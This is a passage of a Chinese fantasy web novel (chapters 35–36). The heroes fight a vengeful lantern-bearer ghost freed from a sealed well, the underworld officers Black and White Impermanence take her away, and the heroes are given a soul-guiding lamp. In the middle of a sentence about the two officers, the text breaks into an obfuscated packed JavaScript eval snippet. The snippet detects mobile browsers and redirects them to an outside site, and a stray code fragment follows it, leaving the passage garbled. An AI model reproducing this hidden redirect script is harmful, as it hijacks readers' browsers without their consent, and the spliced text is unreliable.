片刻排骨炖好了,每人分到了一大碗排骨冬瓜汤,给两个崽子也盛满了饭盆。汤里放了胡椒,又辣又香的特别下饭,排骨的肉也很嫩。赵大海摘下了围裙,大方道:“使劲儿造,吃完了我再去买,往东半里地就有卖菜的,吃饭的事不用担心!” 他最近拓宽了经脉,连精神头都比从前更好了。打饭的时候他还特意给步云邪多舀了几块肋排,道:“二师兄,你多吃点。” 步云邪微微一笑,道:“多谢。” 片刻大家吃饱喝足,伏顺剔着牙道:“这日子过的,舒坦。” 李玉真道:“咱们是来抓妖的,别把正事忘了。” 伏顺哈哈一笑,还真的差点把这事忘了。他摊开手脚躺在地上,道:“吃饱了就犯困,我先眯一会儿。” 墨墨把饭盆拱到段星河跟前,还挺爱干净,敦促它爹帮忙把碗洗了。 段星河道:“瓜皮,你是个大孩子了,该学会自己洗碗了。” 墨墨晃了晃鼻子,短手短脚的,显然做不到。段星河叹了口气,提起水桶走到屋外。前院的井被人封上了,后院还有一口井能用。 天色不知不觉间黑了,周围一片荒芜。他把桶扔进井里,发出了咚的一声响。他提着绳子,缓缓地把水桶拉上来,多余的水晃晃悠悠地淌了出来。 夜风悄悄吹过,仿佛一声悠悠的叹息。段星河感觉有点不舒服,想打完水赶紧回去。忽然一团红光在他身后幽幽地亮了起来,继而又是一团,好像有人穿行在院子里,把灯笼一盏盏地点了起来。 幽红的火光越飘越近,光芒倒映在水面上,让人毛骨悚然。 段星河忽然想起了附近百姓的传言,有一句让他印象格外深刻—— “听说那个被打死的丫鬟,生前就是给张秀才掌灯的。这宅子里的灯,都归她点。” 段星河回过头来,一大片红光在半空中飘飘荡荡的,红里还透着点绿。这不是什么女鬼作祟,分明是灯笼妖的火光。 其实这种小妖到处都是,在修道之人的眼里跟萤火虫差不多。之前于百川就接了个任务,抓了不少灯笼妖。百姓们觉得这玩意儿像鬼火,来无影去无踪的,便忍不住把它们跟一些怪谈联系在一起,一见了就十分害怕。 “星哥,你没事吧!” 步云邪看到了这边的火光,和几个人赶了过来。就见段星河站在一群灯笼妖之间,周围一片绿油油的火光冲天,他的神色却很平静。 伏顺吓了一跳,抬手指着它们道:“喂,我警告你们,不准妄动!” 那些小妖嚣张得很,非但不怕他,反而挑衅地上下飘动着,身上的火焰比之前更旺了。 段星河弯下腰,从桶里捞了点水,淡定地洒在一只灯笼妖身上。灯笼妖身上的火苗跳动了一下,没有太大变化。这些家伙是废弃的灯笼和游荡的魂魄形成的小妖,常在坟场闲逛,吸收了不少磷火,发出的光都是绿的。 “不怕水啊……那就只好来硬的了。” 他拔出了幽冥剑,只见幽紫的光芒一闪,一只灯笼妖惨叫着被斩成了 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段星河觉得也是,这世道阴沉沉的,每天都有枉死的人,同情也同情不过来。 他收完了灯芯,提着水桶去了前面,其他人在后院打扫灯笼壳子。他洗完了碗,经过那口枯井时停了下来,石头上的符咒已经积了灰。他弯下腰摸了摸井口,什么也没感觉到。没了也好,一了百了,也免去再受轮回之苦了。 众人在张宅待了数日,杀了不少灯笼妖。天一黑,外头飘的红光比从前少了一大半,周围也安宁多了。段星河盘腿坐在地上,把这段时间收集的灯芯数了一遍,已经一百八十根了。一大把灯芯堆在一起,一看就很有成就感。 “再待一天就能完成任务了。” 段星河把灯芯码好了,收在一个箱子里,随手摸了他儿子一把:“看好了,别让人偷了。” 墨墨扬起了鼻子,一副认真的模样,表示自己不是吃白饭的。小对眼依旧是一副睿智的表情,两只眼睛一个看天一个看旁边,脑子里大约一片空白。 李玉真趴在了小对眼面前,认真地跟它对视了一会儿,道:“你说它这眼睛,针灸能治好么?” 宋胡缨用青盐刷了牙,回来道:“别了吧,现在还勉强能活,万一扎坏了就糟了。” 李玉真想它这么小一只,万一扎出更多毛病来,确实不好办。他叹了口气,道:“算了,我不嫌弃你,就这么过吧。” 他钻进了睡袋,伸手招了招,道:“来睡觉吧。” 小对眼过去卧在了他身边,毛茸茸的尾巴盘起来围住了身体。外头一轮圆月挂在半空,白色的月光照在庭院里,有种暗流涌动的妖异感。 众人渐渐睡熟了,段星河今晚不知道为什么,睡得有点不安稳。他怕有人偷袭,总是把幽冥剑揣在睡袋里,万一出事也能及时反应过来。 李玉真觉得他没必要这么紧张,说这样一天到晚草木皆兵的容易掉头发。 段星河觉得自己头发还挺多的,这地方危机四伏,要是不揣着兵器睡觉,他才会睡不着。 他感觉怀里动了一下,还以为是墨墨过来吃梦了。他喃喃道:“瓜皮,找别人去,我没做噩梦。” 那细微的动作停了下来,段星河感觉有什么东西一直在看着自己,他一时间醒不过来,迷迷糊糊的,感觉很不舒服。 片刻那影子又伸出手来,摸向了他怀里的幽冥剑。段星河的呼吸一滞,忽然睁开了眼,就见眼前有个白色的身影,脸上戴着个白面具,黑色的嘴角咧到了耳根,却是他们的老相识来了—— 伥鬼。 段星河手中凝了一道灵光,一掌拍了出去。那家伙反应极快,一个箭步向后缩去。 其他人听见了动静,纷纷醒了过来。步云邪道:“怎么了?” 伥鬼逃了出去,屋门在夜风里不住摆荡,发出吱吱呀呀的声音。 众人从睡袋里钻出来,抓起兵刃来到门前,只见几个万象门的人穿着黑色劲装站在门外,又有三四个伥鬼的白袍微微飘荡着。一人手里提着个长长的铁钩子,另一人歪着头,配着面具上奇异的笑容,透出一股让人不寒而栗的劲儿。带头的不是别人,正是薛红玉和那个大个子跟班阿蚺。 段星河就知道一到月圆之夜,这帮人就要出来搞事情,道:“又是你们,大半夜摸到人被窝边上想干什么?” 薛红玉找了他好一阵子了,心里也窝着火,冷冷道:“把幽冥宝匣还给我。” 段星河一本正经道:“什么幽冥宝匣,没听过。” 薛红玉柳眉一竖,道:“少装傻,就是那把剑!” “这怎么就是你的了?”段星河低头看了一眼,“你叫它一声,它答应么?” 薛红玉怒道:“你这臭小子别太不要脸了!这本来就是我的东西,你捡了去就据为己有了?” 段星河淡淡道:“不是据为己有,是它自己认主了。它喜欢跟谁在一起就跟谁在一起,你管不着。” 他搂着幽冥剑,一副理所当然的态度。修真界中弱肉强食,为了抢夺法宝杀人之事时常发生。这宝贝他用得正趁手,自然不会把它交出去。 伏顺道:“你本事又不行,还废什么话,连这剑都瞧不上你呢。” 赵大海也道:“就是,你连拔都拔不出来,还争什么,赶紧回家洗洗睡吧。” 薛红玉头一次发现比邪宗还不讲道理的人,气得七窍生烟。这东西是教主赐给她的,她成日戴在身上炫耀,这才几天就弄丢了,教主知道了必然要狠狠罚她。薛红玉为了这件事已经在外头徘徊了两个月不敢回去了,她恨声道:“你这个强盗臭贼,你别逼我!” 阿蚺也粗声粗气道:“我大姐法力高强,得罪了她没你好果子吃。” 段星河无所谓道:“要打架么,我奉陪就是了。” 薛红玉露出了一丝阴沉的笑意,道:“你想打,姑奶奶还不陪你玩呢。看见这口井了没有——” 众人的目光都落在了那口枯井上,薛红玉命令道:“阿蚺,把那块石头给我打碎!” 她来之前,也听说了这宅子不干净。那块石头上刻着五雷令符,若是把石头打破了,万一真有什么东西窜出来就糟糕了。 众人不确定那女鬼还在不在里头,心中都有些慌。李玉真忍不住道:“你别乱来啊,这周围还有人住呢,官兵过来很快的!” 薛红玉根本不在乎这些,只觉得捏住了他们的七寸,要挟道:“把东西给我。” 段星河冷冷道:“不给。” 薛红玉恼了,厉声道:“那我把里头的东西放出来了!” 段星河之前摸过井口,感觉里头八成没东西。他有点不确定,但幽冥宝匣他无论如何也不能让出去。他道:“一个枯井而已,里头早就没东西了,你唬谁呢。” 薛红玉冷笑了一声,道:“有没有东西,咱们打开来才知道。阿蚺,砸了这破石头!” 阿蚺大步过去,抡起拳头哐哐打了数拳。他的力气极大,石头上的五雷刻印被打碎了,几道石缝崩裂开来。众人的心都提到了嗓子眼儿,静了片刻,却什么也没发生。 伏顺松了口气,哈哈一笑道:“鬼呢,哪有鬼啊?” “唉……” 这时候忽听地下传来一阵长长的叹息,仿佛有人从长久的沉睡中醒了过来。 崩裂的石缝中,透出了一道幽红的光芒,不住有小石子崩落下去。红光越来越亮,井口的石头剧烈地震颤起来,仿佛有什么要冲出来了—— 35.掌灯女 三 一股阴沉的气息在井里涌动着,众人的寒毛都竖起来了。段星河反应过来了,里头还真有东西,看这阵仗那玩意儿的凶性还不小。他喊道:“快堵住它!” 赵大海一个箭步冲过去,双手按住了井口的石头。伏顺冲回屋里拿了口大锅回来,哐的一声扣在了井上。赵大海一屁股坐在锅上,用全身的力气压着井。里头那股力量却十分强大,像开了锅的水一样骨突突直往外冒,顶的赵大海不住哆嗦。伏顺也坐在了锅上,慌张道:“啊啊啊啊赶紧想个办法啊,要出来了!” 薛红玉十分得意,冷笑道:“没用的,它已经醒了,你们谁也不是它的对手。” 李玉真擅长用符咒,凌空划了一道驱鬼符,道:“睛如雷电,光耀八极。彻见表里,无物不伏。急急如律令——” 一道紫色的电光冲了过去,绕着井旋转了一圈,还没结成印,井里已经轰地一声爆发出一股力量,把井口炸开了。赵大海和伏顺被顶得飞了出去,伏顺的脑袋撞在地上磕破了,疼的龇牙咧嘴的。赵大海倒是没受大伤,但是裤子被崩了道大口子,白花花的屁股露在了外面。 他伸手一捂,慌张道:“女的不准看,我还没娶媳妇呢!” 宋胡缨漠然道:“没人想看你。” 赵大海已经跑回屋里换裤子了。伏顺捂着脑袋坐在地上,道:“你个不讲义气的,我脑壳破了你自己就跑了。” 宋胡缨把斩马/刀一挥,一道烈焰在空中划过,气势逼人。一个女鬼漂浮在半空中,一身白衣裳已经破烂的不成样子,上面长满了霉斑和青苔,披头散发的,脸上的肌肉已经烂没了,露出了森森白骨。她嘴里塞满了糠,稍微一动,糠皮就从嘴和眼窝里冒出来,极其瘆人。 披发覆面,糠塞其口。张家人也是够歹毒的,怕她到地下跟阎王爷告状,让她没脸见人,也说不出话来。步云邪皱起了眉头,道:“真造孽啊。” 薛红玉大声道:“是我们把你放出来的,他们是张家请来对付你的人,快杀了他们!” 女鬼缓缓朝他们转过头来,带着一股阴沉的气势。段星河打了个激灵,立刻道:“你别胡说八道啊,我们跟它无冤无仇的,就是路过的。” 薛红玉道:“一帮臭道士,还敢狡辩!” 那女鬼被镇压了这么多年,平生最恨道士。李玉真手里提着一柄太极剑,头上梳着道髻,想不承认也不行。她怒吼一声,嘴里的糠皮喷的到处都是。李玉真往后退了一步,冷汗淌了下来,道:“不是……我又没惹你。大姐,你讲点道理好不好?” 那女鬼伸出又黑又长的指甲,不由分说扑了过来。她心里充满了怨恨,已经变成了厉鬼,一般人根本招架不住他。李玉真感到一股强烈的怨气铺天盖地的朝自己冲过来,他手中划了一道符,金光闪烁着还没结成,那女鬼已经到了他面前。 “嗷嗷嗷嗷嗷嗷——” 她鼻尖对着他的鼻尖,怒吼了一声,尖锐的声音仿佛要把人的五脏六腑都撕碎了。 李玉真一瞬间恐惧至极,身体都不听使唤了,忽见一道火焰劈了过来,却是宋胡缨挥刀斩了过来。那女鬼嗖地一下飘起来,宋胡缨追着她接二连三地挥砍,道:“柿子挑软的捏是吧,来跟我比划比划!” 伏顺眼睛亮了起来,在一旁喊道:“女爹爹,加油啊!” 宋胡缨冷冷道:“别叫我爹,我不是你爹。” 那女鬼生前就是掌灯女,根本不怕火。一盏蓝幽幽的铜灯飘在她身边,持续供给她灵力。掌灯女跟宋胡缨过了几招,意识到这个大姑娘不好对付。她忽地袍袖一挥,喝道:“鬼众何在?” 角落里微微一亮,应声出现了一点红光,继而又有两三点光芒。院子深处星星点点的,冒出来许多灯笼妖。 段星河还以为灯笼妖已经被杀的差不多了,没想到犄角旮旯里还藏着这么多。灯笼妖发出半红半绿的光,朝这边聚拢过来。它们仿佛找到了靠山,发出嘻嘻的笑声,在空中不住浮动。 一会儿功夫,掌灯女周围就聚集了大量的灯笼妖。她跟段星河等人对峙着,周身弥漫着一股强烈的怨气。 糠皮被她吐干净了,掌灯女发出沙哑的声音,道:“张郎呢,是他派你们来害我的?” 要不是那个张秀才作孽,段星河他们也不用背锅。伏顺撇嘴道:“那老小子又怂又恶心人,是挺像蟑螂的。” 段星河不想打没必要的架,道:“他已经死了,我们跟他没关系。若是打扰了,我们这就走。” 掌灯女恨透了这些臭牛鼻子,咆哮道:“还想骗我,你们都是道士,是道士就都该死!” 段星河看出她是油盐不进了,眼睛一转道:“那你恨姓张的不恨?他俩都是张秀才的后人,是嫡嫡道道的长孙女和孙女婿,你看这鼻子脸盘跟大夫人像不像。” 他说着一指薛红玉和阿蚺,把仇恨引了过去。掌灯女登时一凛,恶狠狠地看向那两个人,黑洞洞的眼眶里透出了杀气。薛红玉慌了,后退了一步道:“你别听他们胡说,我们根本不认识张家的人!” 段星河铁了心要拉他们下水,道:“大小姐,不是你让我们来的吗,说事成之后给我们五十两银子,封井的石头还是这大个子打破的呢。” 掌灯女黑漆漆的指甲陡然变长了一倍,身上生出了碧色的火焰。比起臭道士来说,她更恨张家的人。她怒吼一声,朝薛红玉扑了过去。薛红玉堪堪招架了她两爪,脸上凉飕飕的,感觉自己花朵般的脸蛋儿岌岌可危。 那掌灯女怨气冲天,把她当成大夫人一般仇恨,恨不能把这毒妇的后人撕成碎片。薛红玉怕被划伤了脸,慌忙喊道:“阿蚺,快来!” 阿蚺只能硬着头皮挡着她,后背朝前,像一堵人肉盾牌似的结结实实地护着主子。那女鬼的指甲利得很,他皮糙肉厚的也没能撑多久。一会儿功夫身上就被抓的鲜血淋漓,疼的直咧嘴。 段星河还觉得挠得太轻,在一旁火上浇油道:“张姑娘,姑爷,你们可小心啊。张老爷子把这宅子留给了你们小两口,你们要是死了,这宅子可不是要一直荒下去了。” 薛红玉百口莫辩,怒道:“你少胡说八道,闭嘴!” 步云邪忍不住笑了,低声道:“你损不损?” 段星河从小在流民中挣扎求生,习惯了与市井无赖扯皮,深谙有难同当的道理,淡定道:“这叫以其人之道还治其人之身,她拖咱们下水,那就谁也别想好。” 女鬼口中喷出一团火焰,把薛红玉的头发轰地一声烧焦了。薛红玉一声尖叫,连忙滚倒在地,叫道:“救命,快救我!” 阿蚺冲过来,拼命帮她拍打火苗。薛红玉头发上的火好不容易熄灭了,心里怕得要命,嘶声喊道:“拦住她,别让她过来,有灵者皆来——” 感受到了她的召唤,周围游荡的伥鬼纷纷聚拢而来。今天是月圆之夜,本来就是它们游猎的日子。众人眼看着白衣伥鬼像朝圣一样越聚越多,不大的宅院里聚集了大量的灯笼妖、伥鬼、还有些缺胳膊断腿儿的幽魂,走过路过的都来凑热闹。 薛红玉本来想用这些游魂来对付掌灯女,却忘了它本身也是灵体。鬼魂越多,她的力量就越大。掌灯女冷笑一声,深吸了一口气,登时兴起了一股飓风,把那些鬼魂都吸入了体内。 阿蚺吓了一跳,道:“大姐……这……” 伏顺哈哈一笑,道:“这不是帮倒忙了么?” 女鬼吸收了大量的阴气,体型比刚才大了一圈,看谁都分外可恨。她双眼赤红,朝段星河扑了过来。段星河没想到它开始无差别攻击了,带着剑鞘挡了一招,道:“我知道你冤枉,不想跟你动手,你能不能冷静一下?” 那女鬼咆哮了一声,她被关了这么多年,觉得这世间所有人都对不起她。段星河没办法,拔剑朝她砍了过去。两人在空中腾挪交错,瞬间过了几招。那女鬼的力气大得很,又一身怨气,着实不好对付。 到处都弥漫着黑沉沉的阴气,就像山里翻腾的云海。掌灯女抬掌重重地拍过来,赵大海换完了裤子,扛着盾牌冲出来了。 “啊啊啊啊啊啊——!” 他大吼一声,哐地一声把盾牌架在了段星河面前,帮他抵挡了一击。 强烈的气流把两人的头发冲的不住飞舞,盾牌也向后滑出了数尺。赵大海扭头道:“大师兄,怎么办?” 不光这掌灯女邪性,薛红玉惊惶之下招来了这么多孤魂野鬼,这些乌合之众本来就不怎么听话,情况越发混乱起来了。 灯笼妖带着火光到处乱窜,伥鬼飞到半空中,面具上的笑容越发阴森了。大量的鬼魂持续朝这边聚过来,就像洪水爆发一样,到处都是半透明的脸,挤挤挨挨的,那种恐惧感让人难以形容。李玉真浑身的鸡皮疙瘩都起来了,喊道:“别招了,你控得住么!” 薛红玉还没意识到事情的严重性,一手掐诀道:“把幽冥宝匣还给我!” 段星河吼道:“你先让它们滚!” 薛红玉跟他较上了劲儿,道:“把宝匣给我!” 段星河砍杀了几只伥鬼,知道这妖女不可能守信用,这时候把兵刃交出去就一点生路也没有了。他道:“那就一起死吧!” 眼看周围的鬼魂越来越多,步云邪口中念诵金光咒,一道金色的穹光笼罩着众人。然而掌灯女的力量太强大,有她撑腰,那些小鬼根本不怕。众鬼聚起一团青气跟那道金光对峙,没有要散去的意思。 宋胡缨抬头看着那女鬼,道:“你到底想干什么?” 掌灯女带着冲天的怨气,裂开残破的嘴角,恶狠狠道:“都得死——” 她一挥袖,吼道:“给我杀!” 一群鬼众开始到处乱咬,伏顺被一只伥鬼撵得爬到了树上。他刚喘息了片刻,忽然就见一个缺了半边脑袋的野鬼从他身后探过头来,对他露出了阴森的笑容。 “哇啊啊啊啊啊——” 伏顺吓得惨叫一声,又哆哆嗦嗦地滑下了树,躲到了赵大海身后。 “救救救,大海救命啊!” 那些野鬼越聚越多,已经失去了秩序,只想趁机兴风作浪。开始有鬼魂撕扯万象门的人,几个黑衣侍卫被拉扯的东倒西歪,斥责道:“退后,别过来!” 薛红玉也意识到了不妙,道:“够了,回去吧!” 那帮鬼魂就像决堤的洪水,根本不听她的话。薛红玉后悔也来不及了,包围圈越缩越小,把两拨人逼到了一起。薛红玉顾不上别的了,扭头道:“臭小子,你不是挺厉害的嘛,想个办法!” 段星河皱眉道:“这不是你招来的吗,让它们走啊。” 薛红玉烦躁道:“我哪有那么大本事,你身上煞气这么重,说不定它们就是冲着你来的,你让它们走!” 段星河没想到她还要倒打一耙,但事到如今,大家是绑在一条绳子上的蚂蚱,吵架也没用。那帮鬼魂把薛红玉那边挤得满满当当的,却在段星河面前留了一片空,好像不敢靠近他似的。 段星河感觉它们好像是挺怕自己的,放出威严来道:“你们听好了,从哪儿来的就回哪儿去,我……本座今天心情好,不跟你们计较。老子数到三——” 伥鬼们静了一刹,仿佛真的把他的话听进去了。掌灯女却咆哮道:“别听他的,把这些人杀光!” 那女鬼吸收了越来越多的阴气,已经长到一丈高了,强烈的邪气笼罩着整个宅子。周围的鬼魂恢复了狂热而狰狞的模样,一点点朝他们逼近过来,挤也要把他们挤死了。 众人额头上都是汗,伏顺道:“怎么办,我不想死啊。” 赵大海下定了决心,他握紧了盾牌,喘着气道:“我把它们撞开道口子,你们趁机跑吧。” 他要是冲上去打头阵,马上就会被这些鬼撕成碎片。段星河立刻道:“别过去,你想死么?” 赵大海沉默下来,但不这么做,大家就要一起死。众人看着周围,浑身都被冷汗湿透了。正在一筹莫展之时,忽听不远处传来一道轻盈的铃声。 “叮——” 那声音仿佛穿透了众人的灵魂,回荡在夜空中,莫名让人有种宁静的感觉,周围躁动的伥鬼们却陡然战栗起来。 风声猎猎,就见一道白布招子凭空出现在夜色中,带着金色的灵光,朝这边挥了过来。 段星河等人回头望去,只见一个白袍人,手里拿着一个长长的招魂幡,忽然出现在他们身后。 招魂幡上带着金色的符文,轻轻一晃,就像在鱼汛期的水里下了网,呼啦一下就捞走了一大半伥鬼。招魂幡的长尾在夜空中飘荡,上面悬着的铜铃又是叮的一响。 招魂幡再次一晃,剩下的伥鬼也被兜了进去,被一网打尽了。空中飘荡的灯笼妖仿佛也害怕他们似的,登时四散逃走了。 沸腾的夜晚终于安静了下来,众人死里逃生,诧异地望着面前的人。一个穿白袍的男子手里拿着招魂幡,一个穿黑袍的男子手里提着一条铁链,两人头上都戴着又尖又高的帽子,像极了传说中的黑白无常。这二人不知从何而来,却救了他们的性命。 段星河想起在师父的葬礼上便见过这两个身影,一眨眼就消失了。当时他还以为是自己的错觉,没想到黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565443|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白无常是真的存在的。 伏顺揉了揉眼,道:“我的天,这么大牌面,地府的官差都来了?” 掌灯女刚才还张牙舞爪的,一见了鬼差,顿时没有那么嚣张了。她被招魂幡的灵力影响,匍匐在地上,身子不住发抖。黑无常从怀里掏出一本簿册,念道:“孙燕儿,张家掌灯侍女,与张秀才私通,后被其用木杖打死,压于枯井之下三十三载。在外流落了这些年,你也该回地府报道了。” 掌灯女不住摇头,道:“我……我不走,我还没报仇,我不甘心!” 白无常道:“你若是觉得委屈,咱们去地府清算。张秀才已经死了,世间没有你的仇人了。青冥台一向执法森严,一定给你主持公道,你看如何?” 掌灯女还有些犹豫,白无常提起招魂幡一晃,道:“跟我走吧——” 掌灯女被他兜了进去,骤然不见了。黑无常手中的簿册上,孙燕儿那一页微微一亮,他提笔打了个红钩,道:“总算找回去了,了了一笔旧账。” 这么吓人的厉鬼,他们拿招魂幡轻轻一摇就收走了,这些人实在有些本事。众人沉浸在震惊之中,这两个人毕竟是从阴曹地府来的,大家也不知道是不是该装作没看见他们。若是擅自跟他们说话,会不会被一起带走? 白无常怀里搂着招魂幡,笑呵呵地看着对面众人,道:“虎落平阳被犬欺,阁下也想不到还有这么一天吧?” 黑无常拿胳膊轻轻碰了他一下,让他少说两句。段星河等人互相看了一眼,不知道他跟谁说话,好像挺熟络的模样。薛红玉皱眉道:“骂谁呢,你说谁是犬?” 白无常仍然带着笑意看着他们,仿佛觉得有趣似的。他道:“小姑娘,刚才这些鬼都是你招来的?” 薛红玉下意识后退了一步,感觉有些不妙。白无常扭头道:“这算聚众闹事不算?” 黑无常道:“算,扰乱三界秩序,给她记在账上,叫什么名字?” 薛红玉额上渗出了冷汗,道:“不……不是我,是他们干的。” 她说着一指段星河,但那黑无常已经认准了她,道:“读她的名字。” 他手里的命簿嗡地一亮,哗啦啦地翻到了写着她姓名八字的那一页。薛红玉顿时怂了,道:“别罚我,下不为例,我知道错了!” 黑无常冷冷道:“罚不罚你咱们说了不算,有判官做主。给她记上——” 簿册上灵光一闪,生出了一道文字,把她招鬼的事记了下来。 薛红玉整个人都虚脱了,她十分恼怒,却又得罪不起他们,道:“算你们狠……姑娘还有事,不陪你们玩了,改日再见吧!” 她说着一招手,一条赤练蛇从她袖中飞出来,倏然变得有水桶般粗细。薛红玉纵身一跃,带着阿蚺乘着蛇飞走了。段星河等人松了口气,总算逃过了一劫。 那两个人一个笑里藏刀,一个铁面无私,但看起来对他们没有敌意。段星河抱拳行礼道:“多谢两位相救,在下钦天监司晨段星河,这些是我的师弟,敢问两位是什么人?” 白衣人笑呵呵地道:“不用客气,我们是给青冥台办事的,我是白无常,这是我兄弟黑无常。这掌灯女我们已经找了很久了,多亏了你们才能把她带回去。” 段星河记得萨满说过,这个世界上面是碧落天,是凤神住的地方。下面叫青冥台,掌管幽冥秩序、投胎轮回等事。他们本以为这些离自己很遥远,没想到这就遇见了青冥台的人。 伏顺有点害怕,悄悄挪到了赵大海身后,生怕被他们那招魂幡一兜就一起带走了。 黑无常故意逗他道:“那个小子,你在怕我们么?” 伏顺生怕他从命簿上查自己的名字,颤声道:“没,我就是……肚子有点疼。那什么,我是个好人,从来没干过亏心事。” 黑无常正色道:“没做亏心事就好,青冥台的人是三界秩序的维护者,不会冤枉一个好人。我们的人经常出现在人间,百姓也管我们叫喜丧鬼,你们见多了就习惯了。” 白无常悠然道:“对,我们不光接引死者,也去有喜事的地方。有两位同僚叫红鸾、天喜,常穿着红衣裳去婚宴上沾喜气,回赠些福气。知道的人都不怕我们,还摆上贡品盼着我们去呢。” 他们虽然看起来阴森森的,却跟万象门的人不一样,身上透着一股正气。段星河道:“原来如此,多谢两位。” 白无常摆了摆手道:“走了,有机会再见。” 他说着扛起招魂幡,和黑无常转身走向了黑暗中,几步之外身影便消失的无影无踪了。 众人原地站了许久,这才有了点现实感。这一晚经历的事太多了,连他们自己都有些恍惚。步云邪长舒了口气,道:“总算都走了。” 伏顺干脆一屁股坐在了地上,哑声道:“我的妈呀,我年纪轻轻的,怎么就见到黑白无常了啊……” 李玉真也抹了把汗,转头道:“宋姑娘,你没事吧?” 宋胡缨就手上擦破了点皮,别的地方没受伤。她脸色忽然一变,喃喃道:“糟了……” 李玉真道:“怎么了?” 宋胡缨拔腿往屋里冲去,一边喊道:“小对眼!” 刚才外头打成这样,也不知道他们的崽子有事没有。段星河跟她一起冲进了堂屋,就见一个睡袋动了动,一双猫耳朵从里头冒了出来,墨墨紧跟着从里头钻了出来,两个家伙都好好的。 宋胡缨一把捞起了小对眼,上上下下检查了一遍,总算放了心,道:“没事就好。” 段星河也松了口气,道:“不错,还知道躲起来。” 赵大海把盾牌放在地上,道:“我把它俩塞睡袋里的,刚才我回来换裤子,见它俩差点就钻出去了。我就让瓜皮看着小对眼,谁也不准出去。” 步云邪把他儿子抱了起来,道:“幸亏没出去,万一让伥鬼逮住就糟了。” 众人想起刚才的情形,还有些心有余悸。段星河想着白无常的话,皱起了眉头。那黑无常好像在隐瞒什么似的,不让他往下说了。 萨满说青冥台修的是正法,那两个鬼差应该不会害人。但他们说的那句话是什么意思,是想骗人么,还是在故弄玄虚?段星河沉默下来,陷入了思索。 步云邪在他旁边坐下了,道:“怎么了?” 段星河没有回答,良久摇了摇头道:“赶紧把这边的事忙完了,回驿馆去吧。” 方才打了那一仗,地上散落着不少灯笼妖的尸体,扭几根灯芯应该就够数了。步云邪也想尽快离开这里,道:“休息一下,天亮就回去吧。” 36.暴食 一 众人睡了一觉,上午收集了剩下的灯芯,赶着大车回到了驿馆。次日段星河和步云邪去通知了张家,说那女鬼已经彻底走了,让他们把宅子修一修。 张家人还不敢相信,长子带着几个胆子大的家丁去看了一眼,发现那口封印女鬼的井已经被炸的四分五裂。院子里除了破烂了一些,已经没有什么问题了。 本来说要除几个灯笼妖,没想到这几个年轻人法力高强,一出马就把根本问题解决了。张家人对他们感恩戴德,追加了一百两银子作酬谢。段星河又去凌烟阁把灯芯交上了,拿到了约定的五十两银子。 生活费有了,两人并排走在树荫里,惬意得很。步云邪道:“张家人高兴的太早了,他儿女是把宅子收回去了,青冥台的人应该饶不了张秀才。” 段星河淡淡道:“那老头儿平生又没干什么好事,说不定他儿女也不在乎他呢?” 两人从一间白事店前走过,段星河寻思着好久没给师父烧纸了,停下来买了点黄纸。孙燕儿在人间也没有亲人了,顺便也给她烧一些好了。 回驿馆休息了一阵子,晚上段星河端着个铜盆来到大门外,找了个十字路口,拿树枝画了个半圆,点着黄纸烧了起来。 星星点点的火光在夜里闪烁,段星河低声道:“师父,别担心我们,大家现在都很好,我一定会把小师妹找回来。害您的人已经有线索了,以后一定会给您一个交代。这些钱您老拿着花,不够再跟我说。” 步云邪静静地站在一旁,段星河烧完了一盆,又念叨着那女鬼的名字。 “孙燕儿……是叫这个名字吧,咱们相识一场,给你烧些纸钱。算完了账就去投胎吧,别跟那些恶人耗着了。喝了孟婆汤,投个好人家,下辈子平平安安的。” 黄纸烧完了,段星河站了起来。纸灰在夜风里打着旋儿,仿佛有人来把钱拿走了。段星河静了片刻,道:“来了吗?” 步云邪摇了摇头,看不出来。这时候就见前方有什么东西一闪一闪的,放出幽幽的光。他有些疑惑,过去看了一眼,就见一个巴掌大的琉璃灯滚在草丛里,里头一点蓝光不住闪烁。 他咦了一声,把那东西捡了起来。段星河也十分意外,道:“这不是……那掌灯女身边的东西么?” 琉璃灯罩带着淡淡的金色,一团蓝色的光芒在里面飘着,十分精致漂亮,又透着一股诡异的气息。掌灯女修炼了许多年,才炼成了这法器。她被黑白无常抓走了,没想到这盏灯还留在世间。 她已经没有亲人了,这么多年来,给她烧过纸钱的也只有段星河。这东西被别人捡去了也是可惜,还不如送给他们。 段星河扬声道:“孙姑娘,这是你给我们的么?” 周围静悄悄的,不回答就算是默认了。段星河坦然道:“那我们就收下了,多谢。” 步云邪笑了,道:“这玩意儿怎么用?” 那灯是用鬼气养的,透着一股阴森气。它整体呈纺锤形,上下嵌着黄铜,用篆字刻着引魂长生四个字,顶部有五个微微凸起的圆口,仿佛要吸取什么,底部尖尖的。当时它一直飘在掌灯女旁边,持续供给她力量。 段星河催动了灵力,耳畔传来钟鼓的叮当声,那盏灯漂浮起来。它顶部的五个圆口汲取着四周的灵力,有人就吸人,没人就吸收动物、草木一切有生命之物的灵力,持续将力量供给主人。 段星河顿时感到精神一振,战斗的时候带上它,能持续补充人的气血。他感叹道:“这是个难得的好东西啊,使用的代价是什么?” “嘁嘁嘁嚓嚓嚓嚓嚓嚓——” 夜风吹来,他听见了一阵窃窃私语的声音,仿佛有什么不干净的东西围绕着他。 段星河皱起了眉头,意识到这灯的邪气极重,会加重主人的负面情绪,必须精神力极强的人才能使用。 这玩意儿让他本来就不乐观的精神状态雪上加霜,段星河觉得十分可惜,道:“我用不了,阿云,送给你了。” 他把手一挥,琉璃灯飘到了步云邪面前。步云邪以灵力跟它建立了连接,凝神感受了片刻。他身为祭司,精神力强大,驾驭这小东西不在话下。 段星河发现自己身上一股灵力被它吸走了,道:“诶,你吸我!” 灯下面的尖端悄悄把灵力输送给了步云邪,他一嚷,引魂灯立刻断了连接,对着旁边的一棵大树吸了起来。步云邪笑了,道:“别吸自己人。” 引魂灯持续给他补充着气血,偶尔用一用,不会造成太大的负担。步云邪道:“我刚好合用,多谢了。” 他伸手一碰,琉璃灯骤然熄灭了,嗖地一下缩的只有两寸大小,不占地方,也没什么分量。步云邪赞许道:“还挺懂事的。” 